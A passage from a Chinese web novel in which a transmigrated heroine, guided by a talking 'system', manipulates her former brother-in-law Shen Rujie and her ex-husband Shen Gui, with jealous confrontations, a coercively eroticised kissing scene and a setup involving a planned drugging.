最过分的是,看着顾思小脸窘迫的提着裙子、异常艰难打算爬上马背的时候,他竟然连想伸手搭一下的意思都没有。 辛夷:“……” 埋了罢,这不解风情的性格没救了。不过老实讲,如果不是为了完成攻略任务,她大概也不会主动接近沈如芥这种性格的。 系统贱兮兮地反驳:“也不算是不解风情吧,前几天夜里不是还解你衣带呢吗?” “……” 那边顾思刚爬上马背,沈如芥掉头就走,全然不顾吕鸢在旁边拼命暗示他的眼神。 可惜他刚要朝辛夷走过来,她就起身,绕过他的身侧去看那两个正在跟马匹作斗争的姑娘。 视线里似乎没有留意到,少年那陡然僵滞的身影。 “顾小姐还好么?”辛夷走过去,对着那缰绳都握不稳的少女笑着问。 顾思本来就有些窘迫,被她这么一关心脸更红了,当即点点头,“没事的邬姑娘,阿鸢她骑马也很厉害,会在旁边看着帮我控制缰绳,而且……而且刚才沈公子也教我了,慢慢来肯定就学会了。” 虽然她也看出来了,沈如芥根本对她半分意思也没有,貌美冰冷到近乎尖刻。 她原先只是在诗会那日,隔着席面远远地瞧见过少年一面。 再多的就是听吕鸢吐槽他的性格很烂,哪里想到真的这么难以接近。 顾思有些丧气,不知道自己要不要继续热脸贴冷屁股。 毕竟她说到底也是个女孩子,主动过头也不行。 但想了想,又默默地在心里给自己打气:没关系。 反正在场的除了辛夷之外,沈如芥好像对谁都那副样子,也不是单单的针对她自己。 许是因为昨夜的露水浓重,土地踩上去是微微湿润的,风吹过扬起清冽的青草香。 辛夷鼓励她,语调温柔,“你很厉害,第一次就能这么勇敢已经很了不起啦。” 顾思一愣,她没想到今天听到最温暖关怀的话,会是辛夷对她说的。 女子站在那里微微仰着小脸,乌发如水,钗环素净,好像从画中走出的游仙一样。 好美好美好美!好温柔好温柔好温柔!! 而且她怎么笑得这么好看,那双眼睛就像含情欲诉的秋水一样,像雨后的烟锁重楼。 顾思的心脏忽然扑通扑通的跳起来,竟是比方才和沈如芥在一起的时候,还要欢快。 她想,她隐约明白沈如芥为什么会这么喜欢邬姑娘了,换作是她也会喜欢。 * 辛夷跟顾思说了会儿话,就寻个借口离开了人群,将地方让给他们。 她没事可干,索性找了顾思的婢女要了两把鱼食,躲到凉亭里喂鱼。这也是她这段时间琢磨出的新乐趣,没人打扰的话,她可以喂上半个时辰。 系统不解,“宿主就那么走了,真要看着他们发展感情?” 辛夷听罢却神色淡然,勾唇轻笑,“发展不了,顶多是沈如芥冷着脸生场闷气,以为我不在意他,或者是想撮合他们两个,借此来摆脱他的纠缠。” 她确实也是这样表现的,毫不在意,毫不吃醋,好像对这桩姻缘乐见其成。 她慢悠悠地把手里那捧鱼食撒完了,大概估算了一下时间。 用打赌的语气跟系统说,“信不信,他马上就会来找我摊牌?因为那根弦已经绷到极致了。” 系统也不知道应不应该相信,因为少年好像真的很生气,刚刚宿主离开的时候,他都没像往常那样跟着过来,甚至神色冷冷的都没抬眼多看她。 所以,它有点儿怀疑。 但没过多久,沈如芥真的来了。 辛夷见到他过来,水眸微怔,做出有些惊讶和出乎意料的样子,“阿芥怎么过来了,不是叫你认真教顾小姐骑马么?” 她皱着眉仿佛不赞同,摆出一副长辈温柔训诫的模样,“你不能总是这样冷脸,对姑娘家更不能不耐烦,否则日后都没有哪个姑娘敢喜欢你了。” “那辛夷喜欢我吗?” 少年眉眼冷冽,略有些嘲讽的扯了扯唇角,“我对辛夷言听计从,事事乖觉。可你还是迫不及待地想摆脱我,不是吗?” 辛夷被他如此诘问,也忍不住微红了眼眶,“我只是希望你好,顾小姐她……是个好姑娘。” 这是真心话。 但是想要继续刺激他,也是真心的。 沈如芥果然更生气,欺近来攥住她的手腕。 明明他才是僭越失礼的那个,却好像承受了多大的委屈,“我喜欢什么样的姑娘,辛夷当真不知道么?还是故意揣着明白装糊涂,想把我推给别的女子!” 辛夷努力挣脱也挣脱不开,羞赧又惊惶,“你到底要做什么,阿芥?我是你嫂嫂,就算同你兄长和离了,也曾经是你嫂嫂!” 她咬着唇眼尾红红的,一副柔弱模样,“阿芥,我是你嫂嫂,我们不能这样。” 少年果然被她气笑了,愈发欺近。 也不再似从前那样装乖了,浓黑的眸中含着恶劣的笑,“所以,说到底你还是忘不掉沈归?兄长知道我吻过你么,他知道我摸过你么?不止是那日茶楼,还有在你厢房中的那张床榻……辛夷,只有夫妻之间才能那样亲吻。” “别说了!” 面前女子一副惊惶羞愤,泫然欲泣的可怜模样,“别说了阿芥,求求你别说了。” 沈如芥胸腔处满是妒火,睨着她痛苦挣扎、不想回忆更不想承认的表情。 理智已经焚烧殆尽,尤其是看到她流着泪奋力挣脱他的桎梏,颤巍巍地后退几步,想要跑出这个凉亭。 可惜刚迈下台阶没多远 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后面就呜咽着水眸迷离起来,身子软倒在他怀中,耳边也只能听到暧昧的水声。 …… 等到吕鸢她们再看到沈如芥的时候,已经是半个时辰之后,少年的神色不再那么冷冰冰,眉眼间的戾气也消融许多。 就是有一处极为诡异,他的唇上似乎破了道口子,原本就殷红的薄唇也似乎更为靡艳。 吕鸢刚要开口问他,有没有瞧见辛夷,少年就先她一步开口,“辛夷忽然觉得身体有些不适,已经去马车上休息了,她托我向二位辞行,日后有机会再登门赔礼。” 语气仍旧称不上温柔,但听得出浅淡笑意,仿佛辛夷并非是他所说的身体不适,而是大病初愈。 这令吕鸢没忍住多看了他两眼。但少年都如此说了,她想着还是邬姑娘的身子要紧,到底没有继续挽留。 只在对方离开前,说了几句体贴关心的话,叮嘱他要好好照顾邬姑娘。 * 日子一天天的过去,眼看着就快到年关了。 京城里处处张灯结彩悬挂着红绸,不管是什么时辰出去街上都很热闹。 沈如芥又搬回了她的房间。 虽然两人睡觉的时候还是隔着一道屏风,但辛夷的态度有所松动。 具体表现是被他抱住也乖乖地不挣扎。 有时候磨得狠了,还能被压在案上或床榻间亲一回,一段时间下来,沈如芥亲人的水平突飞猛进。有时候到了兴头上,她都忍不住恍惚地呻.吟着想:做了得了。 老让他洗冷水澡,不知道是在折磨阿芥,还是在折磨她自己。 这期间沈归约了她四次,四次辛夷都没答应,不过她也并非什么都没做。 每次侯府的小厮来,她都会让他带封信回去,上面写一些伤春悲秋的东西。 刚开始是“闻君有两意,故来相决绝”,后来是“红颜未老恩先断,斜倚薰笼坐到明”。 反正就是吊着他,给他点儿念想,让他自己在夜深难眠的时候脑补发散。 多脑补几次,他就会更忘不掉辛夷这个“前妻”。 觉得她还是爱着自己,对自己情根深种,只是女子的自尊不允许她轻易低头。 终于这一天,辛夷觉得时机到了。 侯府的小厮又来寻她,不过这次不是约她到侯府相见,看来被拒绝多次之后,沈归也学乖了。 他约辛夷去酒楼吃茶。 系统提醒她,“别去宿主,沈归要给你下药。” 辛夷坐在镜子前,打量自己那娇怯貌美的一张脸,微微满意地哼笑一声,“当然要去,要不干嘛钓他这么久?我又不是闲的。” 好在等那么久,沈归那个蠢货终于有动静了。 她离开府之前,特意叮嘱阿盈,“让阿芥回来之后,去醉仙楼的雅间等我,就说我想吃那里新出的点心。” 阿盈乖巧地点点头,她看着女子那张比芙蓉还要秀美三分的娇靥,又看看那樽小观音的打扮。尤其是女子素衣乌发,眉心一点朱砂。 然后有些犹豫道,“小姐,真的不用奴婢陪您一起出门?” 她拢紧了身上的披风,柔声轻笑,“不用。”